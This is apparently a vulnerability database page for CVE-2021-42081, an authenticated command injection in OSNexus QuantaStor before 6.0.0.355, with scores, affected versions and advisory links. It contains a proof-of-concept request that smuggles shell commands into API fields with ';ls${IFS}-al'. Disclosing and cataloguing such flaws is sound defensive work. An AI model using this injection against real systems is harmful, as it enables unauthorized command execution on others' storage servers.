CVE-2021-42081

Name: CVE-2021-42081
Creator: NVD / NIST
Published: 2023-07-10T16:15:47.583+00:00
License: https://creativecommons.org/publicdomain/zero/1.0/

HIGHCVSS 7.2/10EPSS 0.99%

Last modified Jun 17, 2026

CVE-2021-42081 is a high-severity vulnerability rated 7.2/10 on the CVSS scale. An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al. EPSS estimates a 0.99% chance of exploitation in the next 30 days.

Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Metrics

CVSS 3.1

7.2/10

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS Probability

0.99%

58.0th percentile

Probability of exploitation in the next 30 days. Learn more

Weakness Enumeration

Affected Software

Vendor	Product	Versions
Osnexus	Quantastor	< 6.0.0.355

References

https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory
https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory

Timeline

Published: Jul 10, 2023
Last Modified: Jun 17, 2026
Status: Modified

Frequently Asked Questions

What is CVE-2021-42081?

How severe is CVE-2021-42081?

CVE-2021-42081 has a CVSS score of 7.2/10 (HIGH severity). The EPSS model estimates a 0.99% probability of exploitation in the next 30 days.

How do I fix CVE-2021-42081?

Check the vendor references and advisories linked above for patched versions and mitigation guidance. You can also run a Strix scan to test if your systems are affected.

Are you affected by CVE-2021-42081?

Run a free Strix scan to check your systems for this vulnerability.

Scan your code now

Source: NVD / NIST